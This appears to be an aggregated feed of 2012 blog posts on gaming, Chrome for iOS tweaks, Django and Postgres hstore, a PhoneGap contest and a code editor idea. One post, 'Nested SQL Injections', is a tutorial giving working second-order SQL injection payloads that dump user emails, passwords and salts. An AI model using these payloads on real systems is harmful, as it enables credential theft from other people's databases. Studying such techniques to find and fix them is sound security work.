Better access to bookmarks/bookmarklets. At least show me the mobile bookmarks so I can keep them separate.
Wait a bit more before taking the page snapshot for the speed-dial. The GMail snapshot has always been blank for me. At least check if the snapshot is completely blank, and wait a bit more if that is the case.
App shortcuts. The kind like you get for almost all websites on Chrome Webstore. I think they are referred to as “Chrome Apps” against “Extensions”, which would be completely disallowed as per Apple ToS. Since Apps are just shortcuts and some icons, they should be allowed in some manner.
Better history support. Seeing just the last 6 closed tabs kind of sucks. Give me some real history browser (and improve the one in desktop chrome while you’re at it).
Mailto support (for gmail etc). Don’t know if possible, but would be nice to have.
Selection Mailing. Just let me select and mail some html.
Handle pdfs better. By default chrome redirects to Safari for pdfs. After changing Chrome to default, it does handle pdfs fine, but I miss the “Open In iBooks” link. Don’t see this happening though. (Update: This was fixed in a Chrome Update)
Webintents support would be nice to have (via something other than chrome Webstore, I Guess)
CloudPrint support. I don’t use this, but I am assuming there are people who do.
FullScreen support of some sort. Safari in iOS 6 is bringing this much asked for feature, so there are people who would love to have this. Chrome’s faster tab switching should help it out with some of the Full Screen issues. (Edit: This is available via a three finger tap if you install Chromizer from Cydia’s ModMyi repo). Chromizer also forces the iPhone style tab switching on the iPad as a side-effect.

There is also a ChromeURL tweak available for Jailbroken devices that changes the keyboard layout to the the one used for address bar in Safari (So called tld keyboard).

Another one called ChromeCustomizer offers the following:

Add one bookmarklet to the settings menu. I’m using Readable at present.
Adds a broken fullscreen implementation (maybe it is clashing with Chromizer) via the Menu. I prefer Chromizer’s 3 finger tap for fullscreen.
Adds a Find in Page feature. Update: This is now available
Adds some filtering for ads/tracking websites.
Adds an option to change Chrome tab switching mode (iPhone vs iPad).

See this blog post for some more tweaks available on cydia.

On Game Launches

Ben Overmyer's Site — Sat, 30 Jun 2012 03:00:00 GMT

The release date for Guild Wars 2 was announced a few days ago, and the Internet exploded. I joined a guild for it, and prepurchased the game so I could participate in the Head Start on August 25th. We're making plans for the three-day period before the game is released to everyone else, and the air is thick with excitement. Shopping lists, arrangements for sitters, usage of vacation time at work, and so forth are all being discussed and implemented.

This is a fairly common occurrence in the video and computer game world. When a major new game is about to be released, launch parties are organized, people take time off work, and the atmosphere is charged with anticipation.

In my experience, this has never happened in the tabletop gaming world.

There have never been launch parties planned around when a particular product is released. Even Dungeons & Dragons, which managed to plan a few launch events surrounding its 3rd and 4th editions, has never managed to grab the attention of its target audience in the same way that Blizzard, NCSoft, and other purveyors of electronic entertainment have.

Why is this? Is it that roleplayers are less passionate about their games than computer gamers? Is it that the companies are less able to support such events? Or perhaps is it that no tabletop company has really tried?

When Silver Gryphon Games finally releases the fantasy campaign setting Eiridia, we will have a launch event. We're a small company with a small fan base, but our fans are awesome and passionate about our games. As Eiridia develops I'll chronicle its journey here from time to time, and when we're gearing up for release, I'll post about the official launch party here.

Because really, tabletop games are just as much cause for excitement as computer games.

Codesearch API

Ben E. C. Boyter — Wed, 27 Jun 2012 02:50:23 GMT

Happy to announce that the CodeSearch API is now alive and kicking for those who wish to use it. The details are included below.

Example calls,

JSON

http://searchco.de/api/codesearch_I/?q=%23define

http://searchco.de/api/codesearch_I/?q=IO::pipe

http://searchco.de/api/codesearch_I/?q=goto%20lang:perl

http://searchco.de/api/codesearch_I/?q=test%20lang:perl&p=1

JSONP

http://searchco.de/api/jsonp_codesearch_I/?q=%23define&callback=CALLBACK

http://searchco.de/api/jsonp_codesearch_I/?q=IO::pipe&callback=CALLBACK

http://searchco.de/api/jsonp_codesearch_I/?q=goto%20lang:perl&callback=CALLBACK

http://searchco.de/api/jsonp_codesearch_I/?q=test%20lang:perl&p=1&callback=CALLBACK

Parameters are,

q = query

p = page

The return results are pretty self explanatory, except that they include a modeltype which indicates what sort of match it was, the types being

Thoughts on Board Games

Ben Overmyer's Site — Sat, 23 Jun 2012 03:00:00 GMT

My tastes in board games are rather specific. The gameplay should have scaling complexity – that is, it needs to be easy to begin a game, and then get increasingly complicated as the endgame approaches. The playing surface and pieces need to be visually interesting. Usually, I prefer games with a fantasy or sci-fi theme. The tone should be serious, or at least tongue-in-cheek. Lastly, I enjoy having a character, hand, or resources that develop over time rather than remaining static.

I usually can’t stand “roll and move”-style board games. I hate Monopoly in particular. Whenever I play a simple board game, the game designer in me is tempted to suggest a rules change to make it more complicated… but since I’m usually playing one of those games with relatives who aren’t fond of complex games, I keep that thought to myself! After all, the ultimate goal of any game is to have fun.

Cooperative games tend to be more fun than competitive games, but that is dependent on the personality types you’re playing with. Dominant personalities can be driven to boss around the other players in a cooperative game, and that almost always takes the fun out of it, unless the other players are all submissive. I am not submissive, and I’m a bit bullheaded, so playing a cooperative game with a very dominant player tends to go south for me.

The board game Silver Gryphon Games is working on under my lead, Hexquest, is a tile-based adventure board game. It starts off simple, with just a town and six random surrounding tiles as the map. The players begin with two dice, no levels, and no special abilities to worry about. As the game progresses, though, the map expands, the players get more options, and while there can only be one winner, the mid-game is full of alliances and secret deals.

Protips for Conference Talks

CRAIG KERSTIENS — Tue, 19 Jun 2012 23:55:56 GMT

A few weeks ago I was sitting at the hotel in Zurich with Jacob Kaplan Moss prior to DjangoCon EU enjoying a beer, talking about Django, and discussing a bit about our upcoming talks for the conference. He talked briefly about his upcoming keynote and how he was doing something different, including essentially 5 mini-talks. This seemed interesting enough, but the part that surprised me was when Jacob said, “I’m among friends here so it’ll be a good place to test this format.” Many if not all in the community know who Jacob is as one of the creators of Django, though still to be “among friends” at a roughly 300 person conference surprised me. However, as someone thats keynoted several times, spoken at conferences for many years, and familiar with many people in the community; for the 150-200 people there he had not met before, he was still truly among friends. While giving a keynote is never an easy feat, it seems to ease the worry ahead of time of doing such.

Saturday night there was a bit of conversation on twitter that had some related discussion. In the last minute rush for DjangoCon US talk submissions a few that have been involved in the community for some time discussed submitting their first talk proposals. In parallel to that was some discussion around diversity, I volunteered the idea of not including presenters name’s in the list when reviewing and voting on talks. While both of the above are controversial topics alone, I hope that can be left to another later time. The key idea that emerged that can be helpful to anyone looking to submit a talk to a conference is how the “pro’s do it”, as Jeremy Dunck put it.

So without further adieu, hopefully without speaking too much for him here’s likely why Jacob viewed his 300 person keynote as being among friends:

1. Start small

Whether its practicing the talk itself or writing the abstract for a proposal practicing each step lets you refine this well ahead of time. In my experience, providing a talk description for a meetup can often be far harder than for a conference. For a meetup I feel confined to 2-3 sentences, versus an abstract a solid paragraph or two. Yet, I still have to make it as exciting, because of course I don’t want 4 people to show up to the meetup because it sounds uninteresting. In the case I’m most familiar with DjangoCon and DjangoCon.eu both happen once a year, though many smaller regional conferences related to Python exist and especially meetup groups:

Regional Conferences

Meetups

Other avenues

Ignite
At your office to colleagues

Check lanyard for a list of relevant events where you might be able to start at

Take your pick, there’s a conference or a meet-up near you. Even better if you can manage to do both at some point.

2. Get feedback early

If you’ve been around the community you may know what talks would be interesting. Though even if you’ve been involved in the community and not given a talk at a conference before, this may be harder to come up with than you realize. If you’re thinking about submitting a talk, its likely you have many you can get feedback from. Do this early and often, if you’re submitting a talk its likely you have something interesting to say, the hardest part can be having that succinctly come across in an abstract. Sure there’s certain hot topics, such as in the Django community:

Diversity
Class Based Views
Testing
APIs/Services

At almost every Django and Python conference there will probably be 3+ talks on each of these topics submitted. Why does yours stand out differently? Its likely in how you position the problem and the answer you can deliver in a talk, which isn’t a quality of the talk but the abstract rather.

3. Focus on your talk more than others

I’m not sure this is the case of all presenters at every conference, but every time I’ve paid attention to it; presenters seem to make themselves slightly less available during a conference. Or at least they do this up until they give their talk. Often you’ll have several of the presenters missing other talks while they’re holed up in their room prepping or maybe their enjoying a hallway track with other presenters. Either way they’re likely walking through their slides and talk key points in some form. As a presenter the dynamic of the conference changes ever so slightly, you spend a little less time on all of the talks that happen (fortunately videos help for catching up later). Though on the plus side, you also get the opportunity to have engaging conversations after your talk about a topic you hopefully find interesting.

4. Get the critical feedback

People know its nerve wrecking to give a talk in front of a crowd. Each time you do it, it becomes easier, but in my experience its never as easy as a conversation over a cup of coffee. Because of this, most people will be quite encouraging of any job you do. This isn’t a bad thing, encouragement is good, your talk will be better the second time you give it. However, by getting the critical feedback out of people you’ll be able to improve your talk much more the second/third/fourth time around.

Rediscovering Guild Wars

Ben Overmyer's Site — Sat, 16 Jun 2012 03:00:00 GMT

Years ago, my wife and I picked up Guild Wars on a whim. We played a little bit, maybe a few hours, over the course of a week… and then abandoned it to return to World of Warcraft or Everquest II or something along those lines.

With all the fervor surrounding Guild Wars 2, and my reignited interest in that game, I decided to reinstall my copy of Guild Wars and see what I had missed.

And, with all honesty, I can't believe I didn't buy heavily into this in the first place.

I have two characters I'm switching between at the moment - a Necromancer/Ranger, and a Warrior who I'll probably mix with a Mesmer or Ranger. The way the game mixes classes and skills, and enables you to further mix that up by choosing your set of active skills whenever you're in town.

I have not yet had a chance to get deep into the lore, but I recognized the attacking Charr immediately in the initial cutscene for Guild Wars. I'm greatly looking forward to exploring the original game before being able to afford jumping into its sequel. While usually I go for sandbox MMORPGs, I think in this case I'm most interested in exploring the character-centric nature of GW2, and in Guild Wars 1 by going through the many available stories.

I would love to find a group of folks to game with, if any of you reading this play Guild Wars!

Schemaless Postgres in Django

CRAIG KERSTIENS — Mon, 11 Jun 2012 23:55:56 GMT

Earlier this week while I was at DjangoCon EU there seemed to be a surprising amount of talk about MongoDB. My problem with this isn’t with MongoDB, but in the assumption that only Mongo can solve what you’re looking for. By and far the most common feature is people want schemaless. It gives them flexibility in their data model and lets them iterate quickly. While I still opt for relational models that map cleanly to a relational database, there are cases where developers may want schemaless. I gave a quick lightning talk on this with slides here, but it is worth recapping.

The example given by pydanny was a product catalog. You may have different items you want to store for a catalog. Lets take an example below:

django_pony = {'name': 'Django Pony', 'rating': '5'}
pink_pony = {'name': 'Pink Pony', 'rating': '4', 'color': 'pink'}

In the case of a product catalog it could be understandable you don’t want to normalize every possible spec for the product. The argument for Mongo is so commonly that you can easily work with this data model. Admittedly it is quite simple:

from pymongo import Connection
connection = Connection()
django_pony = {'name': 'Django Pony', 'rating': '5'}
connection.product.insert(django_pony)

The problem is that this assumes other schemaless options don’t exist or are inferior.

Enter hStore

hStore is a column type within Postgres. It is a key value store that allows you to store a dictionary, with text values. It alone is not a full document store replacement, but allows for flexibility in your data model where you need it while letting you use relational models elsewhere. Its not exactly new within Postgres either, as its been available since 8.4, however its recently become easier to work with and is supported in some form or another by more frameworks.

To do the same as above we only need to do a few steps:

Within your Postgres 9.1 or higher database:

create extension hstore;

If you don’t have Postgres already if you’re on a Mac quickly grab and install Postgres.app.

Now for actually using it within your Django application. You first need to install django-hstore to your project:

pip install django-hstore

Then you can add it to your models:

from django.db import models
from django_hstore import hstore
class Product(models.Model):
name = models.CharField(max_length=250)
data = hstore.DictionaryField(db_index=True)
objects = hstore.Manager()
def __unicode__(self):
return self.name

Once you’ve sync’ed your database models you can now add your products in a very similar form to above:

Product.objects.create(name='Django Pony', data={'rating': '5'})
Product.objects.create(name='Pony', data={'color': 'pink', 'rating': '4'})

At this point you’ve got your schemaless data into Postgres and can interact with it. However, this is where the benefits of Postgres quickly start to come into play. In addition to the schemaless model you’re able to add indexes and filter on keys/values just as you would expect. In fact within Django it maps similarly to how it would within the ORM:

colored_ponies = Product.objects.filter(data__contains='color')
print colored_ponies[0].data['color']
favorite_ponies = Product.objects.filter(data__contains={'rating': '5'})
print colored_ponies[0]

To add indexes within postgres we could index on the same items that we’re filtering above:

create index on product(((data->'color')::int)) where ((data->'size') is not null);
create index on product(((data->'rating')::int)) where ((data->'rating') = '5');

If you need a sample project to start with immediately check out this one on github.

When evaluating any database its important to choose the features you’re evaluating it on, then examine further. Mongo may be great because its schemaless, this doesn’t mean an RDMS can’t be schemaless as well (and do a good job of it). In the long run, schemaless is likely to just become another feature in databases, but more on that later.

Nested SQL Injections

Nemo's Home — Sat, 09 Jun 2012 03:00:00 GMT

I recently did something along this line, and this technique is really cool. (I prefer to call it “inception” injection). Its pretty easy once you figure it out, so here it goes.

If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a “input variable” into the second query itself. This would be useful in places where the second query has a better display method than the first one (for instance length restrictions).

Query 1:

SELECT * FROM users WHERE email='$email' AND password = '$pass'

This query is usually accompanied with:

<?php
$_SESSION['email'] = $row['username'];

Query 2:

Assuming something like a profile page:

SELECT * FROM user_details WHERE email='{$_SESSION['email']}'

#Injection

Injecting the first query (basic)

SELECT * FROM users WHERE email='user@email.com' # AND password=''

Everything after # should be treated as a comment. Hence forward, I would not write stuff after # for brevity.

Thinking backwards, we could create a custom query for user_details:

SELECT * FROM user_details WHERE email='' UNION SELECT * FROM user_details #

This would show the details of the first user in the profile page. Let’s think a bit larger:

SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email), GROUP_CONCAT(password) FROM user_details #

Usually, this won’t work (different number of columns in results). You’d have to use ORDER BY to guess the number of columns. Writing only the UNION part now:

UNION SELECT * FROM user_details ORDER BY 1 #
UNION SELECT * FROM user_details ORDER BY 2 #
UNION SELECT * FROM user_details ORDER BY 3 #
UNION SELECT * FROM user_details ORDER BY 4 # -- Gives Error

So we realize that user_details has 3 columns. Coming back, we could do:

UNION SELECT GROUP_CONCAT(email), GROUP_CONCAT(password), 3 FROM users #

That would give us details upto 1000 characters (GROUP_CONCAT limits). To mitigate those limits:

UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0)

Change the OFFSET and you’re ready to roll.

Inception Injection

This was all a theoritical attack on the second query. Granted you could do lots of stuff from here on the first query, but it is far less responsive (Doesn’t give much output). The only thing you can modify is the email, which offers you a single field.

However, the only attack vector ($_SESSION) for the second query is not directly controlled, but comes instead from the result of the first query. So to perform this attack on the second query, we take the second injection, and use it inside the first one.

SELECT * FROM users WHERE email='' UNION SELECT * FROM users # -- will give us first user
SELECT * FROM users WHERE email='' UNION SELECT * FROM users  ORDER BY 1 # -- keep increasing to get number of columns
SELECT * FROM users WHERE email='' UNION SELECT 1,2,3 FROM users # -- This would let us know which column corresponds to the email id
SELECT * FROM users WHERE email='' UNION SELECT "<inject second query here>",2,3 FROM users # -- This would let us know which column corresponds to the email id

Although we have been writing injection code starting with UNION, it actually would start with ‘ UNION… Using our last injection code for the second query here, it becomes:

SELECT * FROM users WHERE email='' UNION SELECT "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #",2,3 FROM users #

What happens on the server side:

<?php
	$_SESSION['email'] = "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"

and the second query becomes:

SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #

Note that we still have to keep a # at the end of the inner query. There are portions after # which we still need to discard. Feel free to contact me if you have any further doubts. I am sure this is a well-known and used by people already, but this was something new to me.

The Lore of Starsiege: Tribes

Ben Overmyer's Site — Wed, 06 Jun 2012 03:00:00 GMT

One of the computer games I play most often these days is Tribes: Ascend, the latest descendent of the 1998 classic Starsiege: Tribes. Great gameplay aside, the lore of the Tribes universe is fascinating. The story is derived from an even older game called Starsiege. At the end of a war between humans and cybernetic organisms called Cybrids, the humans emerged victorious and chased the Cybrid survivors deep out into space. They discovered a network of "jumpgates" not unlike Stargate's network, and rapidly expanded out into the universe. The settlers, far from the Terran Imperium, grew into large tribal civilizations entirely separate from Earth. These became known generally as the Children of Phoenix. The Empire sent a group of Imperial Knights, the Order of the Blood Eagle, to pacify these errant tribes. The conflict splinters the Children of Phoenix, but the war continues unabated. A group calling itself the Diamond Sword, knights under the tutelage of a Buddhist-like Enlightened Master, enters onto the scene and starts gaining followers. Another tribe, the Starwolf, also appears - apparently a merging of Blood Eagle and Children of Phoenix deserters. When attacks from the Empire slow and then stop, the four major tribes - Blood Eagle, Starwolf, Children of Phoenix, and Diamond Sword - escalate their conflict. Minor tribes break away from the major ones, and things just get worse from there.

If you want to read the full timeline developed for Tribes, and download some documents going into wonderful detail on the Tribes universe - including technology, cultures, even slang - go here: http://tribes.wikia.com/wiki/Backstory_timeline I'm considering approaching Hi-Rez Studios, the current holders of the intellectual property rights, to see if Silver Gryphon Games can produce a tabletop RPG based on the Tribes universe.

The 2004 Transit of Venus

Beetle Space — Sat, 02 Jun 2012 10:00:00 GMT

The upcoming transit of Venus across the sun is often mentioned in the news these days. It’s a rare event—-the next one will occur over a century from now. The last one, though, was only 8 years ago.

Back then, observatories across the world had “live” webcasts of …

Running the Numbers

Ben E. C. Boyter — Wed, 30 May 2012 02:53:54 GMT

So I have rolled out quite a few performance improvements. searchcode is MUCH MUCH faster then it was before. I also added some various improvements across the board in terms of relevance. This included indexing characters like !@#$%^&*()-= etc… So now things like the perl regex match =~ is now a valid search term. Of course you can combine terms and normal characters to get really complex search terms such as $localdate =~ /([0-9]+):([0-9]+):([0-9]+)/; Pretty awesome stuff I think.

Live action role-playing. Why? Why not?

Ben Overmyer's Site — Sat, 26 May 2012 03:00:00 GMT

Live action role-playing games have something of a bad rap. Even among tabletop gamers, LARPers are described tersely with a curl of the lip and a dismissive tone.

This has always confused me. Sure, LARP looks and sounds quite silly, but I wager that a great many hobbies look and sound silly to outsiders. The only contact I’ve had with anything like LARP – that is, imaginative full contact, full immersion entertainment – is the Society for Creative Anachronism. I was active in the SCA for three years, and my persona in that world was a 12th century Anglo-Norman nobleman named Godric Alburne.

I was briefly involved with a small Amtgard group in South Dakota, which was a true LARP organization, but that doesn’t really count since I only went to a couple practices.

What really attracts me to the idea of LARP is costumed full-contact, unscripted medieval warfare. The usage of “magic” and other intangible effects seems clunky to me. Having to shout a “spell” and throw a colored ball to represent an effect strikes me as less problematic, though, then being the target of a spell – after all, in the midst of a four-person melee battle, are you really going to notice that you’ve been hit by a brown ball instead of a white one?

Developing a persona, acting in character, and dressing in costume – including the more “out there” idea of elves, orcs, and so forth – is a cool surrounding environment. Creating the outfits for imaginative games like this is part of the fun… and really, there is absolutely no drawback to learning how to sew.

Before I started designing board games and, later, role-playing games, I made up rules for unusual sports. Designing the rules for a live action role-playing game, then, is a natural thing for me to experiment with. As such, I’m writing a small set of rules to enable this kind of gameplay in the style I think it should be run.

Akira - Winning entry to the Adobe Express Apps Contest

Nemo's Home — Wed, 23 May 2012 03:00:00 GMT

This is the obligatory blog post that comes along with winning the Adobe Express Apps Contest.

Contest Rules

The contest rules asked you to develop a mobile application, using Adobe Phonegap and related technologies(read Dreamweaver) in a time frame of hardly 18 hours. This duration was assuming that one does no sleep, which I did not.

The problem statement for the application was to create a mobile application for a SUV car manufacturer. The application had to be socially engaging and use the hardware capabilities offered by the device.

Our Interpretation

We started with the problem statement as the complete guide for our application and ought bottom up for an application that would be the least and best amount of work to create an app that fulfils the app requirements.

We started off with a few wireframes, and features thrown around. At the end of the one hour mark, we had our feature list down to :

Owners can share pics of their cars. We wanted the application to be for the owners of the cars, which brings in a lot of additional data. Pic sharing was the most logical thing to do. We were thinking something like an Instagram Community where everybody posts pics about where they have been, their rigs and so on.
A mileage meter. This was a slight gamification of the GPS data that we get. At the start of every journey/trip, you could mark it as such in the app, and we would record your position every 5 minutes. At the end of the trip, you could mark your ending point and see how much you travelled. Also important was the fact that we decided to show a number corresponding to every application user, showing how many miles he/she has travelled so far. Seeing that the next guy has travelled only so and so more miles than you may lead you to travel more.
Maps, obviously. A map for all the previous journeys that you have taken.

Work

We tried to start with JQ.Mobi, which is an alternative to Jquery Mobile, but could not justify it, and switched to JQuery Mobile as it offered better integration with Dreamweaver.

The basic application layout was done using a mix of JQuery Mobile and some custom css. I came across a very good service called Build Phonegap, that allows you to compile your Phonegap application online to different platforms. We started with basing our application on the Phonegap Starter App on GitHub which was quite good. The examples directory in the phonegap download is what we ended up using, though.

Edit: After working a lot more in mobile development, I have come to see a lot more frameworks, and find JQTouch to be quite the minimalist do-one-thing-well plugin.

The most difficult part was to get the application to compile for iOS, without paying the Apple Developer Licence. Since, I could not see myself selling iOS apps anytime soon in the Apple App Store, I was stuck with a jailbroken iPad + iPod Touch, and had to figure out out to compile.

The steps, which took me a lot of time to find on the internet, include :

Download and install the XCode and the Adobe Phonegap toolkit. I downloaded the latest version, 4.2 for xcode, which makes the process a bit easier.
Follow the instructions on this youtube video to allow xcode to compile your application without Code Signing.
Create a corvora application in xcode and follow these instructions to add the www folder to the application.
Compile. If you have an iDevice connected, you should be able to compile and install your application in a single step.

You may need to change your application configuration to “Do not code sign” for this to work.

Getting all the above steps to work for the first time, on a borrowed MacBook Pro was a lot of work, for a mac noob like me. But at the end, getting to see the application getting launched on multiple devices and looking equally good was worth it.

The rest of the time was spent on getting the application features to work, while fighting off sleep. The end result was a still-incomplete application , which ran on multiple devices.

Blackberry

Unfortunately, we were not able to run the app on the only Blackberry Phone that we had as Phonegap only supports Blackberry 5 as of now, while our phone had been upgraded to 6.

Our winning strategy from the start had been to dazzle the judges with an application running across multiple devices, and working equally good. We were pretty sure that none of the other contestants would put in so much effort to get it to run on non-android devices.

Backend

I wrote the application backend in PHP limonade, a framework that i am quite used to. The concept was to give out a rest api to the application to use to Authenticate users and carry out backend tasks.

Code

The code is obviously messy, as a result of being hacked in on a single 18 hour marathon. You may be able to get a few good ideas from the implementations, though. The entire code is available at my akira and akira-backend repositories.

Thoughts on Phonegap

My second slide in the presentation I did for the contest(made on Keynote on the Ipad, while walking to the contest room) says proudly “Phonegap is awesome”. And i seriously mean that. I’ve got started in the world of mobile development, while not having to worry about cross browser compatibility issues, and the like. I can do stuff easily using the already existing technologies that I know and love. There are a ton of excellent Phonegap plugins out there, and many more being written right now.

I am really impressed with what a web developer could do with Phonegap, and its ease of use. The Adobe Developers promised me that the integration would be far better in Dreamweaver 6, which I might just try. Although, it was far easier for me to compile and install the application on an android phone, so I hardly used the emulator which I took the pains to install.

Expectations

What I’d really love, though is a Phonegap simulator. Instead of having to install an android emulator, what if Dreamweaver comes with a Phonegap simulator. Since Phonegap is all javascript, it should be trivial to create basic UIs that look and feel like the native interface of the OS chosen. I would still have to do final tests on the emulator, which i believe are worthless, compared to running it on actual devices. My point is, installing the android emulator and getting the app to run in a emulator is really no big deal, but turns out be a huge time consuming step. For interested web developers, this could be skipped pretty easily, if only Phonegap had its own simulator.

This is all just theory, as you’d have to install the complete Android and ios sdk to compile it for your device, anyway. But it would be a welcome step.

Presentation

The presentation was made as a string of screenshots developing the application, so its not really much help. But here it is anyway. View Original.

Prize

I won a PS3. Yay!

If you have any problems with the code, or the process, feel free to reach out.

Sympathy: My vision of a code editor

Nemo's Home — Sun, 20 May 2012 03:00:00 GMT

Update: I have worked on an editor protype along the lines of this blog post. The result is called Sympathy Editor. Please check it out.

I’ve used more than a dozen of editors for mainly two purposes: coding, and writing text. The most liked and used among them would be [Notepad++][http://notepadplusplus.org/] and [Geany][http://geany.org/]. I’m also a vim user, and primarily a web developer. I’ve always liked simple tools that do one thing well, as per the unix philosophy.

The era of WYSIWYG editors in web development is long past. I’m yet to hear someone suggest Dreamweaver as a serious editor. If you were to go out in the Rails world, you’d mostly be met by vim/emacs/textmate fans. As a linux user, I use geany for most of my editing work, including blog posts, like this one (Markdown is hands down, the best thing to happen to word-processing).

Browser meet Editor meet Terminal

There were a few attempts at creating code editors (I don’t like the term IDE) powered by the gecko engine some time back. None of them materialized to anything special. Today, a normal workflow for me involves 3 open applications - a browser (chromium), a terminal window, and a text-editor.

And I’d alt-tab all the way to hell on them.

At this stage, almost everyone will tell me, there is no problem with this workflow. This is exactly how it is supposed to work. But we are not in the 1990s when browsers were just another application. At any given time, I usually have multiple stackoverflow tabs open in the browser pertaining to the code I am writing.

On the other hand we have a terminal, which I usually use to run builds, compile, and do version control stuff. No amount of integrated IDE magic will make me move away from the beloved command line (as it should be).

The easiest solution is to get a second monitor. And yes, I love using dual monitors. But I’m still not satisfied. I want something more. I have 3 core applications, but using 3 monitors is an extremely costly venture. So I’m stuck to running a text editor, and alt tabbing my way between Chromium and Gnome Terminal.

Cloud IDEs

One of the solutions that keeps popping up are the almighty cloud based IDEs (like c9.io), which I really like. But the experience is sub-par at best.

Another cool project called sky-edit involves an extension in mozilla, which enables one to edit any text file in the browser itself, by pointing it to “edit:” urls. This is closer to what my ultimate aim is: “text editor in a browser, editing local files”.

Workflow

What I’d want my workflow to be is point my browser to a text file, edit it in place, change the tab to the live site, and then refresh. Once I realize I have to restart apache, I’d just change my tab to the terminal one, and do my cli stuff there itself.

Shortcuts:

Ctrl+T: New browser tab
Ctrl+E: New editor tab
Ctrl+Y: New Terminal tab
Ctrl+S: Save a file

All file:// urls are browsable as usual, and all text files become editable. Just think of all the possibilities. As long as it uses plain old javascript/css, it could re-use most of the editing part from the excellent ace project. Even codemirror would work brilliantly.

And the best part is that it is still a complete browser. Meaning you get to use all your bookmarks, bookmarklets, plugins, and fancy stuff that you expect in a browser.

Integration

Just think of the possibilities! Since this is just another browser, you can build extensions that target edit windows. Meaning an extension could add support for auto-completion very easily. And repeat for inline documentation browsing.

A build shortcut could probably be used to switch to a running version of the website in some way. What about other stuff? Like spell-checking? Browsers support that. Even dictation would probably work.

And markdown editing! Hell yeah!. Edit it all in your browser itself, while keeping github open in another tab.

Start

This is a simple propsal of sorts, to get a few recommendations about how this should proceed. I asked a similar question on the askubuntu forums, which made me realize what the real problems were. I’m trying to build chromium and get something off the ground. The project is tentatively titled sympathy and has zero code as of now.

I tried to earlier write something similar in python, but realized that I could not build an awesome feature complete text-editor by myself. Which made me shift to forking something like geany. I then realized that getting the webview in geany to be feature-complete as a browser would be again heavily demanding.

The easiest path out is to build the editor in the browser. Why? Because there has already been a lot of work done in this direction, including ace, bespin, codemirror and lots of other editors. Embedding the terminal is another problem, which will be harder to solve in the browser, but I’m willing to give it a try.

As such, my plan is to fork chromium, and work on adding support for text-file editing in the browser. There are a few questions I’d like to answer over time, such as should the browser be stripped? Chromium is a heavy project, and includes some complex features baked right in, which are definately not needed in a text-editor. For instance “Cloud Print”, “Chrome Sync” etc. But at the same time, there is a reason to keep it in as well. I’d like to use this as my primary browser, using all the extensions, bookmarks, and sync features it offers me.

Sounds interesting? I’ve got no idea on how to approach this. Help me out. If you do not like facebook comments, please discuss this on Hacker News, or feel free to drop me a mail.

Update

I did try my best on developing such a thing, and the end result (still far from finished) is Sympathy Editor. Try out the beta. Hopefully you will like it.

Vox Draconis

Ben Overmyer's Site — Sat, 19 May 2012 03:00:00 GMT

In 1997 I wrote a fantasy role-playing game entitled Vox Draconis. It was heavily based, mechanically, on the Mentzer edition of Dungeons & Dragons Basic. In 2008, I released a “second printing” that was just the same thing in PDF form instead of a Word document.

Vox Draconis is the predecessor of what is now called Ingenium, at least in spirit. The intent behind it was to create a game that cut away all of the extra bits in AD&D and streamline the gameplay for a focus on story. In this, you could call Vox Draconis one of the earliest OSR games.

Over the past four years, while working on and eventually releasing Ingenium and, in a few months, Eiridia, I’ve learned a great deal about what makes a good fantasy game.

For that reason, I’d like to remake Vox Draconis. The best things about Dungeons & Dragons were its simplicity, its encouragement of role-playing and improvised solutions, and its attention to the three stages of a campaign: Origin, Adventure, and Ascension.

With Ingenium, I took character creation and boiled it down to Three Words. With Vox Draconis, I’m going to focus on the Three Phases.

Phase One: Origin

In the Origin of each character, there is a basic story to define who they are as they set out on the path of adventure. Character creation doesn’t tell that story, but it hints at it. Attributes at this point are less important than a concept, and for this reason, characters don’t start out with any attributes at all. They are entirely defined by three choices:

1) Race – Character race is a vital part of who the character is. As such, this choice is made first.

2) Culture – A character’s culture is important in Ingenium’s Eiridia, but it’s not a distinct game mechanic. In Vox Draconis, it’s a core part of character creation, and is the second choice made.

3) Class – The final choice in character creation, Class is the most familiar choice players will make.

Each of the three choices will grant the player a trait and an ability. It’s these six things that take the place of attributes, skills, and the other trappings of other fantasy games.

Following this quick character creation, the players take part in one or two short adventures. These Origin adventures bring the party together and, instead of the later Reknown form of advancement, reward their actions with their last set of abilities.

Phase Two: Adventure

This is what forms the first half of a campaign in Vox Draconis. During the Adventure phase, the characters are making a name for themselves, gaining power, wealth, and prestige. In addition to rewarding players for killing bad things and acquiring treasure, Vox Draconis rewards players for developing character personalities, interacting with higher-level members of their Race, Culture, or Class, and setting in motion plans for the third phase. All of this adds to Reknown, a more complete reflection of character advancement than traditional Experience Points.

Eventually, the party as a group reaches a point where they have gained enough Reknown to advance to the final phase of the campaign.

Phase Three: Ascension

In this phase, players encounter a more fleshed out version of the final levels of Dungeons & Dragons. Characters start building their own kingdoms, magic academies, thieves’ guilds, and so forth.

The Setting

Another thing that made the original Vox Draconis unique was its hybrid setting. It combined elements of Stone Age, Bronze Age, Tolkienesque high fantasy, and Howardian low fantasy. Barbarians in facepaint and loincloths went toe to toe with tyrannosaurs, and knights magically bonded to dragons fought demons from other dimensions.

In this upcoming revision, the setting won’t be dropped as I’d originally planned. However, it’ll be split out into its own entity, much as I split Eiridia away from the rules that became Ingenium. The lessons I’ve learned from Ingenium will be applied here. That includes releasing errata more frequently than once a year!

Pixel Circle / Oval Generator

Donat Studios — Fri, 18 May 2012 12:09:59 GMT

Donations

If you appreciate this tool, please consider a donation. It truly helps me out.

PayPal:

GitHub:

Ko-Fi:

Playing Minecraft, I like making circular things. I used a chart while I was building, but wanted to be able to make variable size ovals which is something I couldn't find a decent chart of or generator capable of, so I created this!

Fork my source on Github!

In favour of ORM's

Tom Forbes — Mon, 14 May 2012 22:01:27 GMT

